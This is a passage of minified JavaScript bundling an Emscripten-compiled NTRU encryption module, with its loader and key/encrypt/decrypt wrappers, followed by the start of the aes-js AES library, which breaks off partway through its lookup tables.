                                            function eA(A, I) {
                                                var g = 0;
                                                return (-1 >>> (g = 31 & I) & A) << g | ((g = A) & -1 << (A = 0 - I & 31)) >>> A
                                            }
            
                                            function cA() {
                                                var A, I;
                                                return D = A = D - 16 | 0, E[A + 15 | 0] = 0, I = 0 | c(1024, A + 15 | 0, 0), D = A + 16 | 0, I
                                            }
            
                                            function tA(A, I) {
                                                return !A | !I ? A = 514 : (H(C[A + 112 >> 2], I, o[A + 118 >> 1]), A = 0), A
                                            }
            
                                            function fA(A, I, g) {
                                                return A = !A | (g ? !I : 0) ? 514 : iA(A, I, g)
                                            }
            
                                            function DA(A, I, g) {
                                                I && (i[I >> 1] = 3), g && (i[g >> 1] = A + 15 & 65520)
                                            }
            
                                            function yA(A, I, g) {
                                                I && (i[I >> 1] = 1), g && (i[g >> 1] = A)
                                            }
                                            return Q[1] = function(A) {
                                                return 0 | h(A |= 0, 0, 0, 1, 0)
                                            }, Q[2] = function(A, I, g) {
                                                return 0 | h(A |= 0, I |= 0, g |= 0, 0, 0)
                                            }, Q[3] = function(A, I) {
                                                return 0 | h(A |= 0, 0, 0, 2, I |= 0)
                                            }, Q[4] = function(A, I, g) {
                                                var B;
                                                return D = B = D - 96 | 0, A = h(B, A |= 0, I |= 0, 3, g |= 0), D = B + 96 | 0, 0 | A
                                            }, Q[5] = function(A) {
                                                return 0 | R(A |= 0, 0, 0, 1, 0)
                                            }, Q[6] = function(A, I, g) {
                                                return 0 | R(A |= 0, I |= 0, g |= 0, 0, 0)
                                            }, Q[7] = function(A, I) {
                                                return 0 | R(A |= 0, 0, 0, 2, I |= 0)
                                            }, Q[8] = function(A, I, g) {
                                                var B;
                                                return D = B = D - 112 | 0, A = R(B, A |= 0, I |= 0, 3, g |= 0), D = B + 112 | 0, 0 | A
                                            }, Q[9] = function(A, I) {
                                                return function(A, I) {
                                                    for (var g = 0;
                                                        (0 | I) != (0 | g);) E[A + g | 0] = cA(), g = g + 1 | 0
                                                }(A |= 0, I |= 0), 0
                                            }, {
                                                __wasm_call_ctors: function() {},
                                                malloc: d,
                                                free: N,
                                                ntrujs_init: function() {
                                                    var A;
                                                    ! function() {
                                                        var A;
                                                        D = A = D - 16 | 0, E[A + 15 | 0] = 0, c(1062, A + 15 | 0, 0), D = A + 16 | 0
                                                    }(), AA(), A = QA(), u(C[724], 0, 0), i[1452] = o[1450] + -5, i[1453] = o[A + 30 >> 1]
                                                },
                                                ntrujs_public_key_bytes: function() {
                                                    return o[1450]
                                                },
                                                ntrujs_private_key_bytes: function() {
                                                    return o[1451]
                                                },
                                                ntrujs_encrypted_bytes: function() {
                                                    return o[1452]
                                                },
                                                ntrujs_decrypted_bytes: function() {
                                                    return o[1453]
                                                },
                                                ntrujs_keypair: function(A, I) {
                                                    return A |= 0, I |= 0, 0 | u(C[724], A, I)
                                                },
                                                ntrujs_encrypt: function(A, I, g, B) {
                                                    return A |= 0, I |= 0, g |= 0, B |= 0, 0 | k(C[724], o[1450], g, 65535 & I, A, B)
                                                },
                                                ntrujs_decrypt: function(A, I, g) {
                                                    var B;
                                                    return A |= 0, I |= 0, g |= 0, D = B = D - 16 | 0, i[B + 14 >> 1] = o[1453], A = F(o[1451], I, o[1452], A, B + 14 | 0, g), D = B + 16 | 0, 0 | (A ? 0 - A | 0 : o[B + 14 >> 1])
                                                },
                                                __growWasmMemory: function(A) {
                                                    return 0, 0 | e()
                                                }
                                            }
                                        }({
                                            Int8Array: Int8Array,
                                            Int16Array: Int16Array,
                                            Int32Array: Int32Array,
                                            Uint8Array: Uint8Array,
                                            Uint16Array: Uint16Array,
                                            Uint32Array: Uint32Array,
                                            Float32Array: Float32Array,
                                            Float64Array: Float64Array,
                                            NaN: NaN,
                                            Infinity: 1 / 0,
                                            Math: Math
                                        }, A, I.buffer)
                                }(dA, y, s)
                            }
                        },
                        instantiate: function(A, I) {
                            return {
                                then: function(I) {
                                    I({
                                        instance: new d.Instance(new d.Module(A))
                                    })
                                }
                            }
                        },
                        RuntimeError: Error
                    };
                    t = [], "object" != typeof d && D("no native wasm support detected");
                    var s = new d.Table({
                            initial: 10,
                            maximum: 10,
                            element: "anyfunc"
                        }),
                        F = !1;
            
                    function N(A, I) {
                        A || _("Assertion failed: " + I)
                    }
            
                    function u(A, I) {
                        w.set(A, I)
                    }
                    var k, w, G, R, H, h = 65536;
            
                    function M(A) {
                        k = A, I.HEAP8 = w = new Int8Array(A), I.HEAP16 = new Int16Array(A), I.HEAP32 = R = new Int32Array(A), I.HEAPU8 = G = new Uint8Array(A), I.HEAPU16 = new Uint16Array(A), I.HEAPU32 = new Uint32Array(A), I.HEAPF32 = new Float32Array(A), I.HEAPF64 = H = new Float64Array(A)
                    }
                    var q = 8392176,
                        l = 3408,
                        S = I.INITIAL_MEMORY || 16777216;
            
                    function p(A) {
                        for (; A.length > 0;) {
                            var g = A.shift();
                            if ("function" != typeof g) {
                                var B = g.func;
                                "number" == typeof B ? void 0 === g.arg ? I.dynCall_v(B) : I.dynCall_vi(B, g.arg) : B(void 0 === g.arg ? null : g.arg)
                            } else g(I)
                        }
                    }(y = I.wasmMemory ? I.wasmMemory : new d.Memory({
                        initial: S / h,
                        maximum: S / h
                    })) && (k = y.buffer), S = k.byteLength, M(k), R[l >> 2] = q;
                    var U = [],
                        b = [],
                        L = [],
                        J = [];
            
                    function Y() {
                        if (I.preRun)
                            for ("function" == typeof I.preRun && (I.preRun = [I.preRun]); I.preRun.length;) x(I.preRun.shift());
                        p(U)
                    }
            
                    function m() {
                        !0, p(b)
                    }
            
                    function X() {
                        p(L)
                    }
            
                    function z() {
                        if (I.postRun)
                            for ("function" == typeof I.postRun && (I.postRun = [I.postRun]); I.postRun.length;) v(I.postRun.shift());
                        p(J)
                    }
            
                    function x(A) {
                        U.unshift(A)
                    }
            
                    function v(A) {
                        J.unshift(A)
                    }
                    var W = 0,
                        Z = null,
                        V = null;
            
                    function K(A) {
                        W++, I.monitorRunDependencies && I.monitorRunDependencies(W)
                    }
            
                    function O(A) {
                        if (W--, I.monitorRunDependencies && I.monitorRunDependencies(W), 0 == W && (null !== Z && (clearInterval(Z), Z = null), V)) {
                            var g = V;
                            V = null, g()
                        }
                    }
            
                    function _(A) {
                        throw I.onAbort && I.onAbort(A), f(A += ""), D(A), F = !0, 1, A = "abort(" + A + "). Build with -s ASSERTIONS=1 for more info.", new d.RuntimeError(A)
                    }
            
                    function j(A, I) {
                        return String.prototype.startsWith ? A.startsWith(I) : 0 === A.indexOf(I)
                    }
                    I.preloadedImages = {}, I.preloadedAudios = {};
                    var T = "data:application/octet-stream;base64,";
            
                    function P(A) {
                        return j(A, T)
                    }
                    var $ = "file://";
            
                    function AA(A) {
                        return j(A, $)
                    }
                    var IA = "";
            
                    function gA() {
                        try {
                            if (t) return new Uint8Array(t);
                            var A = DA(IA);
                            if (A) return A;
                            if (o) return o(IA);
                            throw "both async and sync fetching of the wasm failed"
                        } catch (A) {
                            _(A)
                        }
                    }
            
                    function BA() {
                        return t || !Q && !E || "function" != typeof fetch || AA(IA) ? new Promise((function(A, I) {
                            A(gA())
                        })) : fetch(IA, {
                            credentials: "same-origin"
                        }).then((function(A) {
                            if (!A.ok) throw "failed to load wasm binary file at '" + IA + "'";
                            return A.arrayBuffer()
                        })).catch((function() {
                            return gA()
                        }))
                    }
            
                    function QA() {
                        var A = {
                            env: dA,
                            wasi_snapshot_preview1: dA
                        };
            
                        function g(A, g) {
                            var B = A.exports;
                            I.asm = B, O()
                        }
            
                        function B(A) {
                            g(A.instance)
                        }
            
                        function Q(I) {
                            return BA().then((function(I) {
                                return d.instantiate(I, A)
                            })).then(I, (function(A) {
                                D("failed to asynchronously prepare wasm: " + A), _(A)
                            }))
                        }
                        if (K(), I.instantiateWasm) try {
                            return I.instantiateWasm(A, g)
                        } catch (A) {
                            return D("Module.instantiateWasm callback failed with error: " + A), !1
                        }
                        return function() {
                            if (t || "function" != typeof d.instantiateStreaming || P(IA) || AA(IA) || "function" != typeof fetch) return Q(B);
                            fetch(IA, {
                                credentials: "same-origin"
                            }).then((function(I) {
                                return d.instantiateStreaming(I, A).then(B, (function(A) {
                                    return D("wasm streaming compile failed: " + A), D("falling back to ArrayBuffer instantiation"), Q(B)
                                }))
                            }))
                        }(), {}
                    }
                    P(IA) || (IA = c(IA));
                    var EA = {
                        1024: function() {
                            return I.getRandomValue()
                        },
                        1062: function() {
                            if (void 0 === I.getRandomValue) try {
                                var A = "object" == typeof window ? window : self,
                                    g = void 0 !== A.crypto ? A.crypto : A.msCrypto,
                                    B = function() {
                                        var A = new Uint32Array(1);
                                        return g.getRandomValues(A), A[0] >>> 0
                                    };
                                B(), I.getRandomValue = B
                            } catch (A) {
                                try {
                                    var Q = eval("require")("crypto"),
                                        E = function() {
                                            var A = Q.randomBytes(4);
                                            return (A[0] << 24 | A[1] << 16 | A[2] << 8 | A[3]) >>> 0
                                        };
                                    E(), I.getRandomValue = E
                                } catch (A) {
                                    throw "No secure random number generator found"
                                }
                            }
                        }
                    };
            
                    function iA(A, I, g) {
                        var B = aA(I, g);
                        return EA[A].apply(null, B)
                    }
            
                    function CA(A, I, g) {
                        G.copyWithin(A, I, I + g)
                    }
            
                    function nA(A) {
                        _("OOM")
                    }
            
                    function oA(A) {
                        nA()
                    }
                    b.push({
                        func: function() {
                            sA()
                        }
                    });
                    var rA = [];
            
                    function aA(A, I) {
                        var g;
                        for (rA.length = 0, I >>= 2; g = G[A++];) rA.push(g < 105 ? H[++I >> 1] : R[I]), ++I;
                        return rA
                    }
                    var eA = !1;
            
                    function cA(A) {
                        for (var I = [], g = 0; g < A.length; g++) {
                            var B = A[g];
                            B > 255 && (eA && N(!1, "Character code " + B + " (" + String.fromCharCode(B) + ")  at offset " + g + " not in 0x00-0xFF."), B &= 255), I.push(String.fromCharCode(B))
                        }
                        return I.join("")
                    }
                    var tA = "function" == typeof atob ? atob : function(A) {
                        var I, g, B, Q, E, i, C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                            n = "",
                            o = 0;
                        A = A.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        do {
                            I = C.indexOf(A.charAt(o++)) << 2 | (Q = C.indexOf(A.charAt(o++))) >> 4, g = (15 & Q) << 4 | (E = C.indexOf(A.charAt(o++))) >> 2, B = (3 & E) << 6 | (i = C.indexOf(A.charAt(o++))), n += String.fromCharCode(I), 64 !== E && (n += String.fromCharCode(g)), 64 !== i && (n += String.fromCharCode(B))
                        } while (o < A.length);
                        return n
                    };
            
                    function fA(A) {
                        if ("boolean" == typeof i && i) {
                            var I;
                            try {
                                I = Buffer.from(A, "base64")
                            } catch (g) {
                                I = new Buffer(A, "base64")
                            }
                            return new Uint8Array(I.buffer, I.byteOffset, I.byteLength)
                        }
                        try {
                            for (var g = tA(A), B = new Uint8Array(g.length), Q = 0; Q < g.length; ++Q) B[Q] = g.charCodeAt(Q);
                            return B
                        } catch (A) {
                            throw new Error("Converting base64 string to bytes failed.")
                        }
                    }
            
                    function DA(A) {
                        if (P(A)) return fA(A.slice(T.length))
                    }
                    var yA, dA = {
                            emscripten_asm_const_iii: iA,
                            emscripten_memcpy_big: CA,
                            emscripten_resize_heap: oA,
                            memory: y,
                            table: s
                        },
                        sA = (QA(), I.___wasm_call_ctors = function() {
                            return (sA = I.___wasm_call_ctors = I.asm.__wasm_call_ctors).apply(null, arguments)
                        }),
                        FA = (I._malloc = function() {
                            return (I._malloc = I.asm.malloc).apply(null, arguments)
                        }, I._free = function() {
                            return (I._free = I.asm.free).apply(null, arguments)
                        }, I._ntrujs_init = function() {
                            return (I._ntrujs_init = I.asm.ntrujs_init).apply(null, arguments)
                        }, I._ntrujs_public_key_bytes = function() {
                            return (I._ntrujs_public_key_bytes = I.asm.ntrujs_public_key_bytes).apply(null, arguments)
                        }, I._ntrujs_private_key_bytes = function() {
                            return (I._ntrujs_private_key_bytes = I.asm.ntrujs_private_key_bytes).apply(null, arguments)
                        }, I._ntrujs_encrypted_bytes = function() {
                            return (I._ntrujs_encrypted_bytes = I.asm.ntrujs_encrypted_bytes).apply(null, arguments)
                        }, I._ntrujs_decrypted_bytes = function() {
                            return (I._ntrujs_decrypted_bytes = I.asm.ntrujs_decrypted_bytes).apply(null, arguments)
                        }, I._ntrujs_keypair = function() {
                            return (I._ntrujs_keypair = I.asm.ntrujs_keypair).apply(null, arguments)
                        }, I._ntrujs_encrypt = function() {
                            return (I._ntrujs_encrypt = I.asm.ntrujs_encrypt).apply(null, arguments)
                        }, I._ntrujs_decrypt = function() {
                            return (I._ntrujs_decrypt = I.asm.ntrujs_decrypt).apply(null, arguments)
                        }, I.__growWasmMemory = function() {
                            return (FA = I.__growWasmMemory = I.asm.__growWasmMemory).apply(null, arguments)
                        });
            
                    function NA(A) {
                        this.name = "ExitStatus", this.message = "Program terminated with exit(" + A + ")", this.status = A
                    }
            
                    function uA(A) {
                        function g() {
                            yA || (yA = !0, I.calledRun = !0, F || (m(), X(), I.onRuntimeInitialized && I.onRuntimeInitialized(), z()))
                        }
                        A = A || B, W > 0 || (Y(), W > 0 || (I.setStatus ? (I.setStatus("Running..."), setTimeout((function() {
                            setTimeout((function() {
                                I.setStatus("")
                            }), 1), g()
                        }), 1)) : g()))
                    }
                    if (I.writeArrayToMemory = u, V = function A() {
                            yA || uA(), yA || (V = A)
                        }, I.run = uA, I.preInit)
                        for ("function" == typeof I.preInit && (I.preInit = [I.preInit]); I.preInit.length > 0;) I.preInit.pop()();
                    return !0, uA(), new Promise((function(A, g) {
                        I.onAbort = g, I.onRuntimeInitialized = function() {
                            A(I)
                        }
                    }))
                })).then((function(A) {
                    Object.keys(A).forEach((function(I) {
                        methodHolder[I] = A[I]
                    }))
                }));
                var n = methodHolder.ready.then((function() {
                    methodHolder._ntrujs_init(), A = methodHolder._ntrujs_public_key_bytes(), I = methodHolder._ntrujs_private_key_bytes(), g = methodHolder._ntrujs_encrypted_bytes(), B = methodHolder._ntrujs_decrypted_bytes()
                }));
                return {
                    publicKeyBytes: n.then((function() {
                        return A
                    })),
                    privateKeyBytes: n.then((function() {
                        return I
                    })),
                    cyphertextBytes: n.then((function() {
                        return g
                    })),
                    plaintextBytes: n.then((function() {
                        return B
                    })),
                    keyPair: function() {
                        return n.then((function() {
                            var g = methodHolder._malloc(A),
                                B = methodHolder._malloc(I);
                            try {
                                return _process1(methodHolder._ntrujs_keypair(g, B), {
                                    publicKey: wrapArray(g, A),
                                    privateKey: wrapArray(B, I)
                                })
                            } finally {
                                freeMemory(g), freeMemory(B)
                            }
                        }))
                    },
                    encrypt: function(I, o) {
                        return n.then((function() {
                            if (I.length > B) throw new Error("Plaintext length exceeds ntru.plaintextBytes.");
                            var n = methodHolder._malloc(I.length),
                                r = methodHolder._malloc(A),
                                a = methodHolder._malloc(g);
                            methodHolder.writeArrayToMemory(I, n), methodHolder.writeArrayToMemory(o, r);
                            try {
                                return _process1(methodHolder._ntrujs_encrypt(n, I.length, r, a), wrapArray(a, g))
                            } finally {
                                freeMemory(n), freeMemory(r), freeMemory(a)
                            }
                        }))
                    },
                    decrypt: function(A, o) {
                        return n.then((function() {
                            var n = methodHolder._malloc(g),
                                r = methodHolder._malloc(I),
                                a = methodHolder._malloc(B);
                            methodHolder.writeArrayToMemory(A, n), methodHolder.writeArrayToMemory(o, r);
                            try {
                                var e = methodHolder._ntrujs_decrypt(n, r, a);
                                if (e >= 0) return wrapArray(a, e);
                                _process1(-e)
                            } finally {
                                freeMemory(n), freeMemory(r), freeMemory(a)
                            }
                        }))
                    }
                }
            }();
            return ntru;
        })();

            if (disableDueToContext) return;
            /**
             * [aes-js]{@link https://github.com/ricmoo/aes-js}
             *
             * @version 3.1.2
             * @author Richard Moore [aes-js@ricmoo.com]
             * @copyright Richard Moore 2015
             * @license MIT
             */
            /*! MIT License. Copyright 2015-2018 Richard Moore <me@ricmoo.com>. */
            const aesjs = (function() {
                "use strict";

                function checkInt(value) {
                    return (parseInt(value) === value);
                }

                function checkInts(arrayish) {
                    if (!checkInt(arrayish.length)) { return false; }

                    for (var i = 0; i < arrayish.length; i++) {
                        if (!checkInt(arrayish[i]) || arrayish[i] < 0 || arrayish[i] > 255) {
                            return false;
                        }
                    }

                    return true;
                }

                function coerceArray(arg, copy) {

                    // ArrayBuffer view
                    if (arg.buffer && arg.name === 'Uint8Array') {

                        if (copy) {
                            if (arg.slice) {
                                arg = arg.slice();
                            } else {
                                arg = Array.prototype.slice.call(arg);
                            }
                        }

                        return arg;
                    }

                    // It's an array; check it is a valid representation of a byte
                    if (Array.isArray(arg)) {
                        if (!checkInts(arg)) {
                            throw new Error('Array contains invalid value: ' + arg);
                        }

                        return new Uint8Array(arg);
                    }

                    // Something else, but behaves like an array (maybe a Buffer? Arguments?)
                    if (checkInt(arg.length) && checkInts(arg)) {
                        return new Uint8Array(arg);
                    }

                    throw new Error('unsupported array-like object');
                }

                function createArray(length) {
                    return new Uint8Array(length);
                }

                function copyArray(sourceArray, targetArray, targetStart, sourceStart, sourceEnd) {
                    if (sourceStart != null || sourceEnd != null) {
                        if (sourceArray.slice) {
                            sourceArray = sourceArray.slice(sourceStart, sourceEnd);
                        } else {
                            sourceArray = Array.prototype.slice.call(sourceArray, sourceStart, sourceEnd);
                        }
                    }
                    targetArray.set(sourceArray, targetStart);
                }



                var convertUtf8 = (function() {
                    function toBytes(text) {
                        var result = [], i = 0;
                        text = encodeURI(text);
                        while (i < text.length) {
                            var c = text.charCodeAt(i++);

                            // if it is a % sign, encode the following 2 bytes as a hex value
                            if (c === 37) {
                                result.push(parseInt(text.substr(i, 2), 16))
                                i += 2;

                                // otherwise, just the actual byte
                            } else {
                                result.push(c)
                            }
                        }

                        return coerceArray(result);
                    }

                    function fromBytes(bytes) {
                        var result = [], i = 0;

                        while (i < bytes.length) {
                            var c = bytes[i];

                            if (c < 128) {
                                result.push(String.fromCharCode(c));
                                i++;
                            } else if (c > 191 && c < 224) {
                                result.push(String.fromCharCode(((c & 0x1f) << 6) | (bytes[i + 1] & 0x3f)));
                                i += 2;
                            } else {
                                result.push(String.fromCharCode(((c & 0x0f) << 12) | ((bytes[i + 1] & 0x3f) << 6) | (bytes[i + 2] & 0x3f)));
                                i += 3;
                            }
                        }

                        return result.join('');
                    }

                    return {
                        toBytes: toBytes,
                        fromBytes: fromBytes,
                    }
                })();

                var convertHex = (function() {
                    function toBytes(text) {
                        var result = [];
                        for (var i = 0; i < text.length; i += 2) {
                            result.push(parseInt(text.substr(i, 2), 16));
                        }

                        return result;
                    }

                    // http://ixti.net/development/javascript/2011/11/11/base64-encodedecode-of-utf8-in-browser-with-js.html
                    var Hex = '0123456789abcdef';

                    function fromBytes(bytes) {
                        var result = [];
                        for (var i = 0; i < bytes.length; i++) {
                            var v = bytes[i];
                            result.push(Hex[(v & 0xf0) >> 4] + Hex[v & 0x0f]);
                        }
                        return result.join('');
                    }

                    return {
                        toBytes: toBytes,
                        fromBytes: fromBytes,
                    }
                })();


                // Number of rounds by keysize
                var numberOfRounds = {16: 10, 24: 12, 32: 14}

                // Round constant words
                var rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91];

                // S-box and Inverse S-box (S is for Substitution)
                var S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];
                var Si =[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d];

                // Transformations for encryption
                var T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 